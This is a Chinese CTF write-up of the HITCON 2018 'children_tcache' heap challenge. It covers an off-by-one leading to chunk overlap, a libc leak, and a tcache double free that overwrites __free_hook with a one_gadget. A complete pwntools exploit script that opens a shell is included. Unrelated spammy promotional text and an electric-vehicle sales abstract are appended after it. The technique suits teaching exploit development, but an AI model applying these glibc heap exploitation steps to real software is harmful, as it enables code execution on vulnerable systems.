HITCON_2018_children_tcache

惯例checksec一下

ida打开还是熟悉的malloc,free和show模块

strcpy存在off-by-one漏洞

思路还是创建两个大于tcache大小的chunk,中间夹一个tcache可存储大小的chunk。

通过extend再改变unsortedbin头位置泄露mainarena位置找到libc基址,最后doublefree实现对hook的更改。

add(0x410,b'a')
add(0xe8,b'a')
add(0x4f0,b'a')
add(0x60,b'a')

free(0)

free(1)

 

for i in range(0,6):
	add(0xe8-i,b'k'*(0xe8-i))
	free(0)
add(0xe8,b'k'*0xe0+p64(0x510))

free(2)

extend后,大小变为0xa11

 

add(0x410,'leak libc')
show(0)

leak_addr = u64(p.recv(6).ljust(8,b'\x00'))
log.info("leak_addr:"+hex(leak_addr))
libc_base = leak_addr -0x3ebca0
log.info("leak_base:"+hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']

unsortedbin头与tcachebin重合

show0,泄露mainarena地址

这里mainarena偏移有个计算,ca0这个就是上图看见的mainarena+96,000是本地查看的libc基址。

 

最后doublefree

add(0x60,b'getshell')
free(0)
free(2)
add(0x60,p64(free_hook))
add(0x60,p64(free_hook))

使tcachebin指向了freehook。

利用onegadget获得execve

add(0x60,p64(onegadget))
free(0)

p.interactive()

填入freehook。最后free0,调用execve。

exp

from pwn import *
context(log_level='debug',arch='amd64')
elf = ELF("./program")
p = process('./program')
libc = ELF("./libc-2.27.so")

def add(size, content):
	p.recvuntil("Your choice: ")
	p.sendline('1')
	p.recvuntil("Size:")
	p.sendline(str(size))
	p.recvuntil("Data:")
	p.send(content)

def free(index):
	p.recvuntil("Your choice: ")
	p.sendline('3')
	p.recvuntil("Index:")
	p.sendline(str(index))

def show(index):
	p.recvuntil("Your choice: ")
	p.sendline('2')
	p.recvuntil("Index:")
	p.sendline(str(index))

add(0x410,b'a')
add(0xe8,b'a')
add(0x4f0,b'a')
add(0x60,b'a')

free(0)

free(1)
for i in range(0,6):
	add(0xe8-i,b'k'*(0xe8-i))
	free(0)
add(0xe8,b'k'*0xe0+p64(0x510))

free(2)
add(0x410,'leak libc')
show(0)

leak_addr = u64(p.recv(6).ljust(8,b'\x00'))
log.info("leak_addr:"+hex(leak_addr))
libc_base = leak_addr -0x3ebca0
log.info("leak_base:"+hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']

add(0x60,b'getshell')
free(0)
free(2)
add(0x60,p64(free_hook))
add(0x60,p64(free_hook))
onegadget = libc_base + 0x4f322#0x4f3c2
log.info("onegadget:"+hex(onegadget))
log.info("free_hook"+hex(free_hook))
add(0x60,p64(onegadget))

free(0)

p.interactive()

安卓期末大作业—Android图书管理应用源代码(高分项目),个人经导师指导并认可通过的高分设计项目,评审分98分,项目中的源码都是经过本地编译过可运行的,都经过严格调试,确保可以运行!主要针对计算机相关专业的正在做大作业、毕业设计的学生和需要项目实战练习的学习者,资源项目的难度比较适中,内容都是经过助教老师审定过的能够满足学习、使用需求,如果有需要的话可以放心下载使用。 安卓期末大作业—Android图书管理应用源代码(高分项目)安卓期末大作业—Android图书管理应用源代码(高分项目)安卓期末大作业—Android图书管理应用源代码(高分项目)安卓期末大作业—Android图书管理应用源代码(高分项目)安卓期末大作业—Android图书管理应用源代码(高分项目)安卓期末大作业—Android图书管理应用源代码(高分项目)安卓期末大作业—Android图书管理应用源代码(高分项目)安卓期末大作业—Android图书管理应用源代码(高分项目)安卓期末大作业—Android图书管理应用源代码(高分项目)安卓期末大作业—Android图书管理应用源代码(高分项目)安卓期末大作业—Android图书管理应用源代码(高分项目)安卓期末大作业—Android图书管理应用源代码(高分项目)安卓期末大作业—Android图书管理应用源代码(高分项目)安卓期末大作业—Android图书管理应用源代码(高分项目)安卓期末大作业—Android图书管理应用源代码(高分项目)安卓期末大作业—Android图书管理应用源代码(高分项目)安卓期末大作业—Android图书管理应用源代码(高分项目)安卓期末大作业—Android图书管理应用源代码(高分项目)安卓期末大作业—Android图书管理应用源代码(高分项目)安卓期末大作业—Android图书管理应用源代码(高分项目)安卓期末大作业—And
本文以电动汽车销售策略为研究对象,综合运用层次分析法、决策树、皮尔逊相关性分析、BP神经网络及粒子群优化等多种方法,深入探讨了影响目标客户购买电动汽车的因素及相应的销售策略。研究结果显示,客户对合资品牌电动汽车的满意度为78.0887,对自主品牌的满意度为77.7654,对新势力品牌的满意度为77.0078。此外,研究还发现电池性能、经济性、城市居住年限、居住区域、工作单位、职务、家庭年收入、个人年收入、家庭可支配收入、房贷占比、车贷占比等因素对电动汽车销量存在显著影响。通过BP神经网络对目标客户的购买意愿进行预测,其预测数据拟合程度超过80%,且与真实情况高度接近。基于研究结果,本文为销售部门提出了提高销量的建议,包括精准定位尚未购买电动汽车的目标客户群体,制定并实施更具针对性的销售策略,在服务难度提升不超过5%的前提下,选择实施最具可行性和针对性的销售方案。 在研究过程中,层次分析法被用于对目标客户购买电动汽车的影响因素进行系统分析与评价;决策树模型则用于对缺失数据进行预测填充,以确保数据的完整性和准确性;BP神经网络用于预测目标客户的购买意愿,并对其预测效果进行评估;粒子群优化算法对BP神经网络模型进行优化,有效提升了模型的稳定性和预测能力;皮尔逊相关性分析用于探究不同因素与购买意愿之间的相关性。通过这些方法的综合运用,本文不仅揭示了影响电动汽车销量的关键因素,还为销售策略的优化提供了科学依据。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值